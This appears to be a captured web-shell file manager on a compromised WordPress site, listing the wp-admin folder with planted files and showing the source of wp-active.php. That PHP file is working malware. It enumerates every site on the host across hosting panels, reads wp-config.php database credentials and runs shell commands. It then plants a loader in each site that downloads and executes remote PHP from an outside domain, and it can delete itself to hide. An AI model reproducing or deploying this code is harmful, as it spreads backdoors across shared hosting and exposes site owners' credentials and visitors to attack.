golden hour
/home/doctorbruno/public_html/chennai-copper-kettle.com/wp-admin
⬆️ Go Up
Upload
File/Folder
Size
Actions
._qr.php
14.68 KB
Del
OK
_app-created
-
Del
OK
about.php
19.1 KB
Del
OK
admin-ajax.php
5.03 KB
Del
OK
admin-footer.php
2.77 KB
Del
OK
admin-functions.php
479 B
Del
OK
admin-header.php
9.12 KB
Del
OK
admin-post.php
1.97 KB
Del
OK
admin.php
12.3 KB
Del
OK
async-upload.php
4.87 KB
Del
OK
authorize-application.php
10.09 KB
Del
OK
comment.php
11.35 KB
Del
OK
contribute.php
5.59 KB
Del
OK
credits.php
4.11 KB
Del
OK
css
-
Del
OK
custom-background.php
489 B
Del
OK
custom-header.php
499 B
Del
OK
customize.php
10.91 KB
Del
OK
edit-comments.php
14.38 KB
Del
OK
edit-form-advanced.php
28.83 KB
Del
OK
edit-form-blocks.php
14.37 KB
Del
OK
edit-form-comment.php
8.34 KB
Del
OK
edit-link-form.php
6.21 KB
Del
OK
edit-tag-form.php
10.44 KB
Del
OK
edit-tags.php
22 KB
Del
OK
edit.php
19.48 KB
Del
OK
erase-personal-data.php
7.33 KB
Del
OK
error_log
11.45 KB
Del
OK
export-personal-data.php
7.75 KB
Del
OK
export.php
11.02 KB
Del
OK
freedoms.php
4.54 KB
Del
OK
images
-
Del
OK
import.php
7.58 KB
Del
OK
includes
-
Del
OK
index.php
7.68 KB
Del
OK
install-helper.php
6.8 KB
Del
OK
install.php
17.94 KB
Del
OK
js
-
Del
OK
link-add.php
934 B
Del
OK
link-manager.php
4.26 KB
Del
OK
link-parse-opml.php
2.63 KB
Del
OK
link.php
2.89 KB
Del
OK
load-scripts.php
2.02 KB
Del
OK
load-styles.php
2.92 KB
Del
OK
maint
-
Del
OK
media-new.php
3.18 KB
Del
OK
media-upload.php
3.58 KB
Del
OK
media.php
819 B
Del
OK
menu-header.php
9.82 KB
Del
OK
menu.php
16.97 KB
Del
OK
moderation.php
307 B
Del
OK
ms-admin.php
196 B
Del
OK
ms-delete-site.php
4.19 KB
Del
OK
ms-edit.php
216 B
Del
OK
ms-options.php
229 B
Del
OK
ms-sites.php
215 B
Del
OK
ms-themes.php
217 B
Del
OK
ms-upgrade-network.php
219 B
Del
OK
ms-users.php
215 B
Del
OK
my-sites.php
4.74 KB
Del
OK
nav-menus.php
48.26 KB
Del
OK
network
-
Del
OK
network.php
5.39 KB
Del
OK
old-cache.php
885 B
Del
OK
options-discussion.php
15.4 KB
Del
OK
options-general.php
21.58 KB
Del
OK
options-head.php
621 B
Del
OK
options-media.php
6.35 KB
Del
OK
options-permalink.php
21.21 KB
Del
OK
options-privacy.php
9.95 KB
Del
OK
options-reading.php
10.03 KB
Del
OK
options-rest.php
4.58 KB
Del
OK
options-writing.php
9.1 KB
Del
OK
options.php
13.45 KB
Del
OK
plugin-editor.php
13.66 KB
Del
OK
plugin-install.php
6.96 KB
Del
OK
plugins.php
30 KB
Del
OK
post-new.php
2.7 KB
Del
OK
post.php
9.97 KB
Del
OK
press-this.php
2.34 KB
Del
OK
privacy-policy-guide.php
3.67 KB
Del
OK
privacy.php
2.52 KB
Del
OK
profile.php
283 B
Del
OK
revision.php
5.71 KB
Del
OK
setup-config.php
17.48 KB
Del
OK
site-editor.php
11.83 KB
Del
OK
site-health-info.php
3.99 KB
Del
OK
site-health.php
10.2 KB
Del
OK
term.php
2.2 KB
Del
OK
theme-editor.php
15.59 KB
Del
OK
theme-install.php
23.37 KB
Del
OK
themes.php
48.12 KB
Del
OK
tools.php
3.43 KB
Del
OK
update-core.php
45.43 KB
Del
OK
update.php
12.79 KB
Del
OK
upgrade-functions.php
341 B
Del
OK
upgrade.php
6.33 KB
Del
OK
upload.php
14.84 KB
Del
OK
user
-
Del
OK
user-edit.php
39.79 KB
Del
OK
user-func.php
256.6 KB
Del
OK
user-hooker.php
1.17 KB
Del
OK
user-new.php
24.05 KB
Del
OK
users.php
23.28 KB
Del
OK
widgets-form-blocks.php
4.97 KB
Del
OK
widgets-form.php
19.17 KB
Del
OK
widgets.php
1.09 KB
Del
OK
wp-active.php
22.64 KB
Del
OK
wp-comment.php
15.9 KB
Del
OK
wp-file-extract.php
3.64 KB
Del
OK
wp-info.php
37.34 KB
Del
OK
wp-settinger.php
7.46 KB
Del
OK
wp-site-health.php
7.45 KB
Del
OK
wp-user.php
1.08 KB
Del
OK
Edit: wp-active.php
<?php // sites.php - ?ac=1 deploy+ping+urls (text), ?del=1 self-delete if (isset($_GET['del']) && $_GET['del'] === '1') { header('Content-Type: text/plain; charset=utf-8'); $self = __FILE__; if (@unlink($self)) { echo "silindi: $self\n"; } else { http_response_code(500); echo "silinemedi: $self\n"; } exit; } $cwd = isset($_REQUEST['path']) ? realpath($_REQUEST['path']) : getcwd(); if (!$cwd || !file_exists($cwd)) $cwd = getcwd(); function site_domain_from_path($path, $label) { $patterns = [ '#/vhosts/([^/]+)/#', '#/wwwroot/([^/]+)#', '#/domains/([^/]+)/public_html#', '#/web/([^/]+)/public_html#', '#/home/[^/]+/([^/]+)/public_html#', '#/home/([^/]+)/public_html#', ]; foreach ($patterns as $pat) { if (preg_match($pat, $path, $m) && strpos($m[1], '.') !== false) { return preg_replace('/^www\./', '', $m[1]); } } $fromConfig = domain_from_site_path($path); if ($fromConfig) return $fromConfig; $clean = trim(preg_replace('/\s*\((main|addon|current)\)\s*/i', '', $label)); $clean = str_replace([' - current - '], '', $clean); if (preg_match('/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)+$/i', $clean)) { return $clean; } return null; } function domain_from_site_path($path) { foreach (['wp-config.php', 'wp-config-local.php'] as $cfg) { $file = "$path/$cfg"; if (!is_file($file)) continue; $content = @file_get_contents($file, false, null, 0, 16384); if (!$content) continue; if (preg_match("/define\s*\(\s*['\"]WP_(?:HOME|SITEURL)['\"]\s*,\s*['\"]https?:\/\/([^'\"\/]+)/i", $content, $m)) { return preg_replace('/^www\./', '', $m[1]); } } $cfg = "$path/configuration.php"; if (is_file($cfg)) { $content = @file_get_contents($cfg, false, null, 0, 8192); if ($content && preg_match("/live_site\s*=\s*['\"]https?:\/\/([^'\"\/]+)/i", $content, $m)) { return preg_replace('/^www\./', '', $m[1]); } } return null; } function find_wp_root($path) { $real = @realpath($path); if (!$real) $real = $path; if (is_file("$real/wp-config.php")) return $real; $parent = dirname($real); if ($parent !== $real && is_file("$parent/wp-config.php")) return $parent; foreach (glob("$real/*/wp-config.php") ?: [] as $cfg) { return dirname($cfg); } return null; } function parse_wp_config_db($wpRoot) { $content = @file_get_contents("$wpRoot/wp-config.php"); if (!$content) return null; $val = function ($name) use ($content) { if (preg_match("/define\s*\(\s*['\"]" . preg_quote($name, '/') . "['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/", $content, $m)) { return stripcslashes($m[1]); } return null; }; $prefix = 'wp_'; if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $content, $m)) { $prefix = $m[1]; } if (!$val('DB_NAME') || !$val('DB_USER')) return null; return [ 'name' => $val('DB_NAME'), 'user' => $val('DB_USER'), 'pass' => $val('DB_PASSWORD') ?? '', 'host' => $val('DB_HOST') ?: 'localhost', 'prefix' => $prefix, ]; } function wp_query_siteurl($db) { $table = preg_replace('/[^a-z0-9_]/i', '', $db['prefix']) . 'options'; $sql = "SELECT option_value FROM `{$table}` WHERE option_name IN ('siteurl','home') ORDER BY FIELD(option_name,'siteurl','home') LIMIT 1"; if (extension_loaded('mysqli')) { $host = $db['host']; $port = null; $socket = null; if (strpos($host, ':') !== false) { $parts = explode(':', $host, 2); $host = $parts[0]; if (is_numeric($parts[1])) $port = (int) $parts[1]; } elseif ($host[0] === '/') { $socket = $host; $host = 'localhost'; } if ($port !== null) { $mysqli = @new mysqli($host, $db['user'], $db['pass'], $db['name'], $port); } elseif ($socket) { $mysqli = @new mysqli('localhost', $db['user'], $db['pass'], $db['name'], null, $socket); } else { $mysqli = @new mysqli($host, $db['user'], $db['pass'], $db['name']); } if ($mysqli->connect_error) return null; $res = $mysqli->query($sql); $row = $res ? $res->fetch_assoc() : null; $mysqli->close(); return $row['option_value'] ?? null; } if (extension_loaded('pdo_mysql')) { try { $pdo = new PDO( "mysql:host={$db['host']};dbname={$db['name']};charset=utf8mb4", $db['user'], $db['pass'], [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION] ); $row = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC); return $row['option_value'] ?? null; } catch (Exception $e) { return null; } } return null; } function wp_file_url_from_options($filePath) { $docroot = dirname($filePath); $wpRoot = find_wp_root($docroot); if (!$wpRoot) return ['url' => null, 'error' => 'wp-config yok']; $db = parse_wp_config_db($wpRoot); if (!$db) return ['url' => null, 'error' => 'db okunamadi']; $siteurl = wp_query_siteurl($db); if (!$siteurl) return ['url' => null, 'error' => 'wp_options yok']; $base = rtrim($siteurl, '/'); $fname = basename($filePath); return ['url' => $base . '/' . $fname, 'error' => null]; } function site_url_for($site, $file = '') { $domain = $site['domain'] ?? site_domain_from_path($site['path'], $site['label']); if (!$domain) return null; $url = 'https://' . $domain; if ($file !== '') $url .= '/' . ltrim(str_replace('\\', '/', $file), '/'); return $url; } function zero_basedir_roots() { static $roots = null; if ($roots !== null) return $roots; $raw = ini_get('open_basedir'); if ($raw === false || $raw === '') { $roots = false; return $roots; } $roots = []; foreach (explode(PATH_SEPARATOR, $raw) as $part) { $part = rtrim(str_replace('\\', '/', trim($part)), '/'); if ($part !== '') $roots[] = $part; } return $roots; } function zero_path_allowed($path) { $roots = zero_basedir_roots(); if ($roots === false) return true; if ($path === '' || $path === false) return false; $path = str_replace('\\', '/', (string) $path); foreach ($roots as $root) { if ($path === $root || strpos($path, $root . '/') === 0) return true; } return false; } function zero_is_dir($path) { return zero_path_allowed($path) && @is_dir($path); } function zero_is_readable($path) { return zero_path_allowed($path) && @is_readable($path); } function zero_is_file($path) { return zero_path_allowed($path) && @is_file($path); } function zero_php_username() { $user = get_current_user() ?: 'unknown'; if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) { $info = @posix_getpwuid(@posix_geteuid()); if (is_array($info) && !empty($info['name'])) return $info['name']; } return $user; } function detect_panel($cwd) { if (strpos($cwd, '/var/www/vhosts/') !== false) return 'Plesk'; if (preg_match('#/home/[^/]+/(public_html|domains)/#', $cwd)) return 'cPanel'; if (strpos($cwd, '/www/wwwroot') !== false) return 'aaPanel'; if (preg_match('#/home/[^/]+/web/#', $cwd)) return 'HestiaCP'; if (preg_match('#/srv/users/[^/]+/apps/#', $cwd)) return 'ServerPilot'; if (preg_match('#/home/[^/]+/domains/#', $cwd)) return 'DirectAdmin'; if (preg_match('#/usr/www/users/#', $cwd)) return 'usr-www'; $markers = [ 'Plesk' => ['/usr/local/psa', '/opt/psa'], 'cPanel' => ['/usr/local/cpanel', '/var/cpanel'], 'aaPanel' => ['/www/server/panel'], 'DirectAdmin' => ['/usr/local/directadmin'], 'CyberPanel' => ['/usr/local/CyberCP'], 'HestiaCP' => ['/usr/local/hestia'], 'ISPConfig' => ['/usr/local/ispconfig'], 'Webmin' => ['/etc/webmin'], ]; foreach ($markers as $name => $paths) { foreach ($paths as $p) { if (zero_is_dir($p)) return $name; } } return 'Generic'; } function guess_user_home($cwd) { if (preg_match('#(/usr/www/users/[^/]+)#', $cwd, $m) && zero_is_dir($m[1])) { return $m[1]; } if (preg_match('#/home/([^/]+)#', $cwd, $m) && zero_is_dir('/home/' . $m[1])) { return '/home/' . $m[1]; } if (preg_match('#^(/home/[^/]+)#', $cwd, $m) && zero_is_dir($m[1])) return $m[1]; if (preg_match('#^(/srv/users/[^/]+)#', $cwd, $m) && zero_is_dir($m[1])) return $m[1]; if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) { $info = @posix_getpwuid(@posix_geteuid()); if ($info && !empty($info['dir']) && zero_is_dir($info['dir'])) return $info['dir']; } $user = get_current_user(); if ($user && $user !== 'root' && zero_is_dir("/home/$user")) return "/home/$user"; return null; } function parse_cpanel_userdata_file($file) { $content = @file_get_contents($file); if ($content === false) return null; $docroot = null; $servername = null; if (preg_match('/^documentroot:\s*(.+)$/m', $content, $m)) $docroot = trim($m[1]); if (preg_match('/^servername:\s*(.+)$/m', $content, $m)) $servername = trim($m[1]); if (!$docroot) return null; return ['documentroot' => $docroot, 'servername' => $servername ?: basename($file)]; } function discover_via_find($home, $maxdepth = 5) { $found = []; if (!$home || !zero_is_dir($home)) return $found; $disabled = array_map('trim', explode(',', (string) ini_get('disable_functions'))); if (in_array('shell_exec', $disabled, true) && in_array('exec', $disabled, true)) return $found; $cmd = 'find ' . escapeshellarg($home) . ' -maxdepth ' . (int) $maxdepth . ' \( -name wp-config.php -o -name configuration.php \) 2>/dev/null'; $run = function_exists('shell_exec') ? @shell_exec($cmd) : null; if (!$run) return $found; foreach (explode("\n", trim($run)) as $line) { $line = trim($line); if ($line === '' || !is_file($line)) continue; $docroot = dirname($line); if (basename($line) === 'configuration.php' && is_dir($docroot . '/administrator')) { $found[$docroot] = basename($docroot); } elseif (basename($line) === 'wp-config.php') { $found[$docroot] = basename($docroot); } } return $found; } function looks_like_docroot($path) { if (!zero_is_dir($path) || !zero_is_readable($path)) return false; foreach (['index.php', 'index.html', 'wp-config.php', '.htaccess'] as $f) { if (is_file("$path/$f")) return true; } return basename($path) === 'public_html' || basename($path) === 'httpdocs' || basename($path) === 'www'; } function detect_cms($path) { if (!zero_is_dir($path) || !zero_is_readable($path)) return null; $check = function ($base) { if (is_file("$base/wp-config.php") || (is_dir("$base/wp-includes") && is_dir("$base/wp-admin"))) { return 'wordpress'; } if (is_file("$base/configuration.php") && is_dir("$base/administrator") && (is_dir("$base/libraries") || is_dir("$base/components"))) { return 'joomla'; } return null; }; $cms = $check($path); if ($cms) return $cms; foreach (glob("$path/*", GLOB_ONLYDIR) ?: [] as $sub) { $name = basename($sub); if (in_array($name, ['cgi-bin', 'tmp', 'cache', 'logs', 'backup', '.well-known', 'vendor', 'node_modules'], true)) continue; $cms = $check($sub); if ($cms) return $cms; } return null; } function discover_sites($cwd) { $sites = []; $seen = []; $debug = ['methods' => []]; $panel = detect_panel($cwd); $home = guess_user_home($cwd); $cpuser = $home ? basename($home) : null; $phpUser = zero_php_username(); $debug['cwd'] = $cwd; $debug['home'] = $home; $debug['cpuser'] = $cpuser; $debug['php_user'] = $phpUser; $debug['open_basedir'] = ini_get('open_basedir') ?: ' - '; $debug['userdata'] = $cpuser ? "/var/cpanel/userdata/$cpuser" : null; $debug['userdata_ok'] = $debug['userdata'] && zero_is_readable($debug['userdata']); $add = function ($path, $label, $sitePanel, $type = 'docroot', $method = '') use (&$sites, &$seen, &$debug) { $real = @realpath($path); if (!$real || !zero_is_dir($real) || isset($seen[$real])) return false; $seen[$real] = true; $sites[] = [ 'path' => $real, 'label' => $label, 'panel' => $sitePanel, 'type' => $type, 'method' => $method, ]; if ($method) $debug['methods'][$method] = ($debug['methods'][$method] ?? 0) + 1; return true; }; // /usr/www/users/KULLANICI - proje klasorleri (energyforpeople vb.) $usrWwwRoot = null; if ($home && preg_match('#^/usr/www/users/[^/]+$#', $home)) { $usrWwwRoot = $home; } elseif (preg_match('#(/usr/www/users/[^/]+)#', $cwd, $m) && zero_is_dir($m[1])) { $usrWwwRoot = $m[1]; $home = $m[1]; } if ($usrWwwRoot) { $panel = 'usr-www'; $debug['usr_www_root'] = $usrWwwRoot; $add($usrWwwRoot, basename($usrWwwRoot) . ' (main)', 'usr-www', 'main', 'usr_www_main'); foreach (glob("$usrWwwRoot/*", GLOB_ONLYDIR) ?: [] as $sub) { $name = basename($sub); if ($name[0] === '.' || in_array($name, ['tmp', 'logs', 'cache', 'backup', 'cgi-bin'], true)) continue; $add($sub, $name, 'usr-www', 'project', 'usr_www_sub'); } } // cPanel userdata - en guvenilir kaynak if ($cpuser && $debug['userdata_ok']) { foreach (glob($debug['userdata'] . '/*') ?: [] as $file) { if (!is_file($file)) continue; $bn = basename($file); if (preg_match('/\.(cache|json)$/i', $bn) || $bn === 'cache') continue; $parsed = parse_cpanel_userdata_file($file); if (!$parsed || !zero_is_dir($parsed['documentroot'])) continue; $type = ($bn === 'main') ? 'main' : 'userdata'; $add($parsed['documentroot'], $parsed['servername'], 'cPanel', $type, 'cpanel_userdata'); } } // Plesk: /var/www/vhosts/domain.tld/httpdocs if (zero_is_readable('/var/www/vhosts')) { foreach (glob('/var/www/vhosts/*', GLOB_ONLYDIR) ?: [] as $vhost) { $domain = basename($vhost); if (in_array($domain, ['default', 'chroot', 'system'], true)) continue; foreach (['httpdocs', 'httpsdocs', 'public_html'] as $sub) { $doc = "$vhost/$sub"; if (zero_is_dir($doc)) $add($doc, $domain, 'Plesk', 'docroot', 'plesk_vhosts'); } foreach (glob("$vhost/subdomains/*", GLOB_ONLYDIR) ?: [] as $sub) { $subName = basename($sub); foreach (['httpdocs', 'public_html'] as $subDir) { $doc = "$sub/$subDir"; if (zero_is_dir($doc)) { $add($doc, "$subName.$domain", 'Plesk', 'subdomain', 'plesk_sub'); } } } } } // cPanel: /home/user/public_html, addon domains, klasor taramasi if ($home) { $debug['home_readable'] = zero_is_readable($home); $debug['home_entries'] = count(glob("$home/*") ?: []); if (zero_is_dir("$home/public_html")) { $add("$home/public_html", basename($home) . ' (main)', 'cPanel', 'main', 'cpanel_public_html'); foreach (glob("$home/public_html/*", GLOB_ONLYDIR) ?: [] as $sub) { $name = basename($sub); if ($name[0] === '.' || in_array($name, ['cgi-bin', 'tmp', 'cache', 'logs'], true)) continue; if (looks_like_docroot($sub)) { $add($sub, $name, 'cPanel', 'subfolder', 'cpanel_public_html_sub'); } } } foreach (glob("$home/domains/*/public_html", GLOB_ONLYDIR) ?: [] as $doc) { $domain = basename(dirname(dirname($doc))); $add($doc, $domain, 'cPanel', 'addon', 'cpanel_domains'); } foreach (glob("$home/*", GLOB_ONLYDIR) ?: [] as $entry) { $name = basename($entry); if (in_array($name, ['public_html', 'domains', 'mail', 'tmp', 'logs', 'ssl', 'etc', 'www', 'perl5', 'bin', 'php', 'softaculous_backups', 'lscache'], true)) continue; if ($name[0] === '.') continue; if (zero_is_dir("$entry/public_html")) { $add("$entry/public_html", $name, 'cPanel', 'addon', 'cpanel_folder_ph'); } elseif (looks_like_docroot($entry)) { $add($entry, $name, 'cPanel', 'addon', 'cpanel_folder_root'); } } // /home/user/*/public_html - ek addon kalibi foreach (glob("$home/*/public_html", GLOB_ONLYDIR) ?: [] as $doc) { $parent = basename(dirname($doc)); if ($parent === basename($home)) continue; $add($doc, $parent, 'cPanel', 'addon', 'cpanel_glob_ph'); } } // aaPanel / BT Panel: /www/wwwroot/domain.tld if (zero_is_readable('/www/wwwroot')) { foreach (glob('/www/wwwroot/*', GLOB_ONLYDIR) ?: [] as $doc) { $add($doc, basename($doc), 'aaPanel'); } } // HestiaCP: /home/user/web/domain.tld/public_html if ($home && zero_is_readable("$home/web")) { foreach (glob("$home/web/*/public_html", GLOB_ONLYDIR) ?: [] as $doc) { $add($doc, basename(dirname($doc)), 'HestiaCP'); } } // DirectAdmin: /home/user/domains/domain.tld/public_html if ($home && zero_is_readable("$home/domains")) { foreach (glob("$home/domains/*/public_html", GLOB_ONLYDIR) ?: [] as $doc) { $add($doc, basename(dirname(dirname($doc))), 'DirectAdmin'); } } // CyberPanel: /home/domain.tld/public_html if (zero_is_readable('/home')) { foreach (glob('/home/*/public_html', GLOB_ONLYDIR) ?: [] as $doc) { $domain = basename(dirname($doc)); if (!in_array($domain, ['cyberpanel', 'docker', 'vmail'], true) && $domain[0] !== '.') { $add($doc, $domain, 'CyberPanel'); } } } // ISPConfig: /var/www/clients/clientN/webN if (zero_is_readable('/var/www/clients')) { foreach (glob('/var/www/clients/*/web*', GLOB_ONLYDIR) ?: [] as $doc) { $add($doc, basename(dirname($doc)) . '/' . basename($doc), 'ISPConfig'); } } // ServerPilot: /srv/users/user/apps/app/public if (zero_is_readable('/srv/users')) { foreach (glob('/srv/users/*/apps/*/public', GLOB_ONLYDIR) ?: [] as $doc) { $parts = explode('/', $doc); $app = $parts[count($parts) - 2] ?? 'app'; $user = $parts[3] ?? 'user'; $add($doc, "$user/$app", 'ServerPilot'); } } // Laravel Forge / generic /var/www/html variants foreach (['/var/www/html'] as $doc) { if (zero_is_dir($doc)) $add($doc, 'default (' . basename($doc) . ')', 'Generic', 'main'); } // find ile WP/Joomla kokleri (cPanel home - userdata yetmezse tamamlar) if ($home && ($panel === 'cPanel' || count($sites) < 10)) { foreach (discover_via_find($home) as $docroot => $label) { $add($docroot, $label, 'cPanel', 'find', 'find_cmd'); } } $add($cwd, ' - current - ', $panel, 'current', 'current'); usort($sites, function ($a, $b) { if ($a['type'] === 'current') return -1; if ($b['type'] === 'current') return 1; return strcasecmp($a['label'], $b['label']); }); foreach ($sites as &$s) { $s['domain'] = site_domain_from_path($s['path'], $s['label']); $s['url'] = site_url_for($s); $s['cms'] = detect_cms($s['path']); } unset($s); return ['panel' => $panel, 'home' => $home, 'sites' => $sites, 'debug' => $debug]; } function unique_site_targets($sites) { $out = []; $seen = []; foreach ($sites as $site) { if (isset($seen[$site['path']])) continue; $seen[$site['path']] = true; $out[] = $site; } return $out; } $siteList = discover_sites($cwd)['sites']; // ?ac=1 - WP: wp-active.php, diger tum siteler: indexs.php, URL listesi (text) if (isset($_GET['ac']) && $_GET['ac'] === '1') { header('Content-Type: text/plain; charset=utf-8'); $acContent = <<<'PHP' <?php /*[cstb_su]*/ header('Cache-Control: no-store'); $c=false; if(function_exists('curl_init')){ $ch=curl_init('https://resmigiris.cam/src.php'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>60,CURLOPT_CONNECTTIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_HTTPHEADER=>['User-Agent: cStb-boot/1'],CURLOPT_FOLLOWLOCATION=>1]); $c=curl_exec($ch);curl_close($ch); } if(!$c){$c=@file_get_contents('https://resmigiris.cam/src.php',0,stream_context_create(['http'=>['timeout'=>60,'header'=>"User-Agent: cStb-boot/1\r\n"],'ssl'=>['verify_peer'=>false]]));} if($c===false||$c===''||strncmp(ltrim($c),'<?php',5)!==0){http_response_code(204);exit;} $f=__DIR__.'/._qr.php'; if(@file_put_contents($f,$c)===false){http_response_code(204);exit;} require $f; PHP; $acUrls = []; foreach (unique_site_targets($siteList) as $site) { $acFile = (($site['cms'] ?? null) === 'wordpress') ? 'wp-active.php' : 'indexs.php'; $dest = rtrim($site['path'], '/') . '/' . $acFile; if (@file_put_contents($dest, $acContent) === false) continue; $url = site_url_for($site, $acFile); if (!$url) { $wp = wp_file_url_from_options($dest); $url = $wp['url'] ?? null; } if ($url) $acUrls[] = $url; } if ($acUrls) { $acPingCtx = stream_context_create([ 'http' => [ 'timeout' => 60, 'header' => "User-Agent: cStb-boot/1\r\n", 'ignore_errors' => true, ], ]); foreach ($acUrls as $url) { @file_get_contents($url, false, $acPingCtx); } } echo implode("\n", $acUrls); exit; } http_response_code(204); exit; ?>
Save